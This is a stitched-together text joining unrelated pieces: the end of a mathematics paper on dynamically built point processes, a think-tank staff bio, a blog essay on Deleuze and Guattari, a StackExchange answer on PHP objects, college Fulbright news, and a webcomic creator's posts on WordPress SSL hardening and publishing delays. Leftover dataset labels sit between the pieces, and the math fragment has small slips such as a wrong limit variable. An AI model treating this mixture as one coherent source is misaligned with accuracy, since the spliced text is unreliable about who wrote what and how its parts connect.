  $$
    n^{\phi(t)}\sum_{k\leq n} \Delta_{n,k}^t
  $$
  converges to a finite limit as $n\to\infty$. That, together
  with~\eqref{eq:maxspacebnd}, finishes the proof.
\end{proof}

We conclude our paper with noting that all of our models can imbedded
into the continuous time in a natural way: each particle
produces children independently according to a Poisson process with
intensity 1, and new points' distribution depends only on the local
configuration around the mother point at the time of birth.
The embedded processes of particle
births is equivalent to the original LISA process. Indeed, when $n$
particles are present at any given time $t$, because of the lack of
memory of the exponential distribution, the next one to give birth is
uniformly distributed among them. The model in Example~\ref{ex:rnu}
then becomes the so-called fragmentation or stick breaking process,
{see, e.~g.,\nolinebreak} \cite{ber:06} and the references therein. In continuous time
version of LISA, the total number of particles is a continuous time
Galton-Watson process of pure birth. In that case, one can also obtain
an asymptotic bound for the maximal spacing of the point
configuration.

\begin{Th}
  If $X_t$ is the continuous time version of the third model, $d^*_t$
  is the maximal spacing of $X_t$, then
  $$
    \limsup_{t\to\infty}e^{-(1-\hat{C}-C)t}\E d^*_t <\infty.
  $$
\end{Th}
The proof is essentially representing $\{X_t\}_{t\in[0,T]}$ as a
trajectory-wise limit as $n$ goes to infinity of a discrete-time process
$\{\tilde{X}{(m)}_l\}_{1<l<\lfloor mT\rfloor}$ in which each particle
at each step gives birth to a new one with probability $p_m=\frac{1}{m}$,
and then observing that if we implement $\{\tilde{\Delta}_{l,k}\}^{1\leq k\leq
l}_{1\leq l\leq \lfloor mT\rfloor}$ similarly to the previous proof, so
that $\tilde{\Delta}_{l,k}$ is a bound for $\tilde{d}_l(\tilde x_k)$, then
one can write out the following distributional inequality
$$
  \tilde \Delta^*_{l+1}\stackrel{D}{=}(1-I_l)\tilde \Delta_l^*+I_l(\tilde \Delta^*_l\hat{\eta}_l\wedge
   \tilde \Delta^{*1}_l\eta_l)\leq
   (1-I_l)\tilde \Delta_l^*+I_l(\tilde \Delta^*_l\hat{\eta}_l+
   \tilde \Delta^{*1}_l\eta_l)
$$
where $\tilde \Delta^{*1}_l$ is an independent copy of $\tilde \Delta^*_l$.
Therefore, one can argue that
$$
  \E \tilde \Delta^*_{\lfloor mT\rfloor}\leq (1-(1-C-\hat{C})p_m)^{
  \lfloor mT\rfloor}
$$
which in the limit brings us to
$$
  \E \tilde \Delta^*_t\leq e^{-(1-\hat{C}-C)T}\,.
$$

\section{Conclusion and open problems}
\label{sec:concl-open-probl}

We have defined a wide class of dynamically constructed point
processes where new particles are added randomly with their
distribution depending on a local neighbourhood of
a randomly uniformly selected particle. Exact notion of locality is
based on stopping sets methodology. In this paper we considered only
the case of models where this set is the ball centred in the selected
particle with the radius equal the distance to the closest
particle. Obvious generalisation is to consider the ball to the $k$-th
nearest neighbour, as it is the case in the original Darling's model
described in Introduction. But even for the case $k=2$ we were not
able to find ways to control the spread of the particles' cloud. So
all the questions of boundedness and/or existence of a limiting
measures remain largely open.

Boundedness results we established in
Section~\ref{sec:bound-sequ-proc} are only sufficient conditions. In
fact, we were not able to prove unbounded behaviour in any model. Our
hypothesis is that if the distribution of the variable $\|\psi\|$ in
Example~\ref{ex:cld} is heavy-tailed (the shootout distance
distribution before scaling), this should produce clouds of particles
which spread indefinitely.

As already mentioned in the previous Section, existence of a limiting
measure is also an open question for all the models but two Considers
there. We tend to think that boundedness of a model should suffice for
a weak limit to exist.

\begin{Ack}
  The authors are grateful to Richard Darling who shared the initial
  model with one of us (SZ). We also thank Mikhail Menshikov and
  Victor Kleptsyn for useful and inspiring discussions. SZ also
  acknowledges hospitality of the University of Berne where a part of this
  work has been done.
\end{Ack}

\bibliographystyle{plain}

redpajama_set_name: RedPajamaArXiv


text:
Centre for Policy Research
Harish Damodaran is a Senior Fellow at CPR. He is a journalist with nearly 30 years of experience as a field reporter and editorial analyst with the Press Trust of India, The Hindu Business Line and The Indian Express. Currently National Rural Affairs & Agriculture Editor with The Indian Express, his work and area of interest includes the farm sector, macroeconomics, business and social history. He is the author of India's New Capitalists: Caste, Business, and Industry in a Modern Nation which won the Ramnath Goenka Excellence in Journalism Award under the Books (Non-Fiction) category for 2008-09.


text:
'Desire Never Stops Investing History'
Mashines / Von Jose Rosales / 2018-12-04 2018-12-04 / Biopolitik postmoderner Körper, deleuze/guattari, desire, machine, structure
What is the relationship between machine and structure? What is it that differentiates a line of flight from becoming a pure line of death? Now, however unhelpful as it may seem, a perfectly adequate to answer to these questions would be the difference between the nature of the possible and desire's orientation toward the virtual ('real without being actual, ideal without being abstract'). For just as there is more in the real than the possible, desire is something more than what is deemed (structurally) realistically possible. As we see with Guattari's own examples regarding the technological developments within the capitalist mode of production,
the spasmodic evolution of machinery keeps cutting across the existing hierarchy of skills. In this sense, the worker's alienation to the machine excludes him from any kind of structural equilibrium […] Such professional bodies as still exist, like doctors, pharmacists, or lawyers, are simply survivals from the days of pre-capitalist production relations. (Guattari, 'Machine and Structure')
It is in this sense that a machine outstrips and modifies the structure in which it is embedded. Moreover, it is because of this relationship between structures which codify its machinic ruptures that Guattari locates desire on the side of the machine. That is to say, just as structure tends toward limiting the number of positions relative to the mode of production under capitalist society, desire tends toward its actualizing precisely in those locations within totality that have been deemed impossible, and toward what this structure cannot satisfy or incorporate. Thus we can say that 'machinic desire' is that which moves towards the impossible and is a process that attempts to resolve a certain social problem, and is actualized in response to everything that is felt to be intolerable within structures themselves. For what else does Deleuze mean when, reflecting on the events of 1968 in France, he remarks that May 68 was "a collective phenomenon in the form of: "Give me the possible, or else I'll suffocate." The possible does not pre-exist, it is created by the event. It is a matter of life. The event creates a new existence, it produces a new subjectivity (new relations with the body, with time, sexuality, the immediate surroundings, with culture, work)." What is more, and particularly in light of Guattari's particular understanding of how desire and its machines relate to their corresponding structures, we are able to return to one of the oft-cited from Anti-0edipus, which claims that the German people were not duped into Nazism but authentically harbored the desire for it. For what is asserted here is not the non-being of ideology but rather the reality of an authentic desire for death (for it is precisely through this gradual modification of what is deemed acceptable and intolerable that a people arrive at a position whose politics is nothing but a celebration of the 'cult of death'):
Given the right conditions, the masses express a revolutionary will. Their desires clear away all obstacles and open up new horizons […] Desire [however] never stops investing history, even in its darkest periods. The German masses had come to desire Nazism. After Wilhelm Reich, we cannot avoid coming to grips with this fact. Under certain conditions, the desire of the masses can turn against their own interests. What are those conditions? That is the question. ('Deleuze and Guattari Fight Back…' Desert Islands, 217)
However, we still may ask as to why it is said that machines are defined by its disruptive break with structures. For Guattari, it is constitutive of the history of capitalism that capital revolutionizes its means of production – a point perhaps best exemplified by Marx's well known 'Fragment on Machines' and the tendency of automation in general. Machine in this sense is said to be disruptive because the structural modification, which is its effect, redefines which subject positions are viewed as acceptable and unacceptable relative to the mode of production. Thus, it is the progressive development of the forces of production that continually overtakes and displaces abstract labour's role within the structure of capital. However, and in contrast with the machine understood from the vantage point of the accumulation and reproduction of capital, Guattari proposes the following understanding of this concept of machine: "At a particular point in history desire becomes localized in the totality of structures; I suggest that for this we use the general term "machine" ('Machine and Structure,' 327). Machine in this sense is when any development within a structure simultaneously"represents social subjectivity for the structure." As Guattari writes, "it could be a new weapon, a new production technique, a new set of religious dogmas, or such major new discoveries as the Indies, relativity, or the moon. To cope with this, a structural anti-production develops until it reaches its own saturation point, while the revolutionary breakthrough also develops, in counterpoint to this" (Ibid). And it is precisely over this new element that machine and structure renew their mutual antagonism. And here, desire (revolutionary breakthrough) abides not by the logic of structural possibility but by the logic of the desirable and the intolerable:
The question we must ask is whether the things produced by desire – a dream, an act of love, a realized Utopia – will ever achieve the same value on the social plane as the things produced commercially, such as cars or cooking fat? The value of anything depends, of course, on a combination of labour-force and available technology (that is, variable and fixed capital), but also, and far more basically, on its relation to the dividing line between what is accepted by desire and what is rejected. All the capitalist cares about are the various desire and production machines that he can link up to his exploitation machine: your arms if you are a street-sweeper, your intelligence if you are an engineer, your looks if you are a cover-girl…Any voice that might be heard speaking up for other things can only interfere with the order of his production system. So, though desire machines proliferate among the industrial and social machines, they are always being closely watched, channeled, isolated from one another, put into compartments. What we have to find out is whether this alienating control, which is believed to be legitimate and indeed inherent in the social situation of human beings, can ever be overcome. ('Molecular Revolutions and Class Struggle' 255)
taken from here
Saal 6 - 17
Theory of the Border
Hyperwar


text:
Q: PHP: Get output from StdClass Object Here is an array of output from a class. How can I echo "Custom Field #1" on the screen?
WPGMZA\CustomFields Object (
    [fields] => Array (
        [0] => stdClass Object (
            [id] => 1
            [name] => Custom Field #1
            [icon] => address-book-o
            [attributes] => {"elementary":"true"}
            [widget_type] => dropdown
        )
    )
)

A: Having made fields public and therefore accessible you can access array values using [index] and object properties using ->key for example $YourClassIntance->fields[0]->id
 should return 1
If you the keys of the JSON variable attributes then you could do:
$keys = array_keys(json_decode($YourClassIntance->fields[0]->attributes, true));

In this case to echo the first key you would do echo $keys[0];

redpajama_set_name: RedPajamaStackExchange


A second Lyndon State College professor has been awarded a Fulbright Scholarship.
Journalism professor Daniel Williams won a year-long scholarship to teach in China. Williams says he'll focus on teaching multi-media platforms to journalism students.
Last month, professor Margaret Sherrer won a Fulbright to spend a semester in India teaching and conducting research on the development of mental health services for people with psychiatric disorders.
A look at the challenges to and solutions for accessibility to higher education, one dad's venture into the mad mad world of youth sports and we read from our mailbag.
Plans are coming together to bring two colleges to a new home in downtown Brattleboro. Officials are looking at two possible sites, including the historic Brooks House on Main Street, which was gutted by fire more than a year ago.


If you guys haven't figured it out by now, I'm been becoming quite the Internet security nut over the past few years. A thorough search of the Technology category reveals a good bit of my interests in SSH, SSL, public key cryptography, etc. Maybe I ought to experiment with subcategories and introduce a Security category under Technology….
Anyway, WordPress usually includes some default feeds in the Dashboard after you log in, mostly from WP developers. One recent entry linked to a "geek ramblings" post about creating a secure WordPress install, which in turn references a WordPress security whitepaper over at BlogSecurity. (If you didn't know any of these sites existed, don't feel bad. Neither did I until today.) There's lots of interesting reading there, especially if you're (a) interested in securing your WordPress site and (b) you happen to be curious and/or adept enough to dabble in a number of arcane Web server settings. I happen to fit both of those criteria.
One of the main reasons I'm mentioning this is that there might be a few changes and improvements for folks who have registered to comment. The site now redirects you to a secure SSL page on login, and your cookies will be stored in secure mode too, meaning they can't be read unless sent over an SSL connection. This might require you to log in the next time you try to comment, even if you've told the site to remember you, because the old cookies won't be secure and will need to be reset. Otherwise, you probably will never notice the difference unless you go to edit your profile, which most of you probably will never worry about once you've registered.
The rest of the changes are all behind the scenes, so I won't bother you with them. Just read the links if you're curious. I'm experimenting with some arcane Apache mod_rewrite rules to really locking down the admin pages, all outside the scope of the links listed above, but so far those tests don't seem to work. However, if I get them to do what I want, I might post them here (to give back to the community and all). It will be pretty sweet and borrows a few ideas from recent episodes of the Security Now! podcast (#113 specifically) to lock down access to the admin site from only certain locations or certain roaming computers.
Following up last week's post, here's the current GPF update schedule plans. The strip will continue to update weekly (please hold your groaning until the end of the post) until February 2008. While I'm still trying to be optimistic that I'll soon be able to increase my updates to at least thrice per week, I'm also realistic enough to know it's definitely not going to happen with the big fall/winter holidays coming up (namely Thanksgiving and Christmas). So I'm taking the safe route and officially putting off any frequency updates until well after that. Sketchbook reruns will continue on Wednesdays during this time.
More updates as soon as I have them….
Last month I stated that I hoped to have GPF back to a M-W-F schedule by November. Nuh-uh. Not gonna happen. While Ben's sleep patterns are much more predictable (save for the occasional oddity like this past Wednesday night, where none of us got more than two hours sleep) and we've made significant headway in cleaning up and organizing our basement, I haven't gotten any strips done since that September 10th post. Getting seven comics done in that week must have been a fluke, because I certainly haven't been able to repeat it.
The hardest part of maintaining my schedule has to be the scripting. Drawing the line art is difficult because it means I have be sequestered in the basement at the art desk for about a half hour to an hour per strip. I've been working on ways to do the line art digitally, but all those R&D efforts have been largely on hold since Ben's birth. And while it's possible for everyone else to come down to the basement with me, I really don't want to dictate what everyone else can do just to buy me art desk time. (At the moment, there's little down there to entertain Ben with anyway.) Doing the digital half of the strips (clean-up, text, colors, etc.) can be time consuming but at least I can do those on the laptop in the living room with the rest of the family, so I can be a part of what's going on and readily available if someone needs me.
But scripting is tough because I really need to shut myself off from everyone else and concentrate. Big stories like To Thine Own Self… usually have a large, overall time line that I follow from the beginning, but I very rarely script things down to the individual strip level that far in advance. Individual strips, jokes, and dialog are usually written as I come to them unless they are so critical to the plot that they need advance planning or I come up with something so good I can't afford to forget it. So before I work on each "week" of strips (Sunday + six dailies) I hide myself somewhere quiet and script each line of dialog, block out each panel, and occasionally reorder things if necessary. This way I have a plan by the time I get to the art desk so my time there is most efficiently used and I've got a second chance to improve the art before it becomes semi-permanent. Scripting is time consuming because I write out each line of dialog (which I don't do during the art desk phase; I just leave sufficient space and add the text digitally), occasionally erase and reword it, and sketch every panel. Often I have to think hard about how the dialog flows, who says what in what order, and what kind of punchline I can use for the last panel. I actually think scripting is the most time-consuming part of the process, because to do it right I can't be interrupted. I can step away from the art desk or laptop and come back with little mental paging; scripting is a mindset, and when I am forced out of it, I often have to reorganize my thoughts to get back to where I was when I left. And none of what I've mentioned so far has brought research to light, since many times I have to go back and re-read old stories to make sure I get all the back references correct.
And that's where I am now. I'm in the scripting phase for the next "week", and I just can't get enough time together to step away from everything else to hide myself away and just write. I may need to re-evaluate my process and look for alternative scripting methods, like typing dialog and descriptions into the computer first at times when I can't sketch. I've tried that before, usually when I'm working with another artist for a crossover, but it rarely seems to work well for me. Part of the scripting work is figuring out how much space the dialog takes up per panel and balancing text versus art so one doesn't overpower the other. That's hard to do in a word processor. But right now, I can't think of anything better to do than forsaking my family and effectively ceasing to exist for several hours.
So no big comeback in November. Sorry, folks, but thems the breaks. Nobody could be more frustrated about it than I am. I'm not sure what, if anything, I'll do for GPF's ninth anniversary. The strip will likely continue on the weekly Monday schedule at least through the end of the year; there's no way I'll be able to up my schedule with the winter holidays coming up. The Sketchbook Reruns will probably continue the "Rejected Story Month" updates during that time, and I'll probably run the Book #2 bonus story on Fridays once the Book #1 bonus runs out. After that… we'll just have to wait and see.


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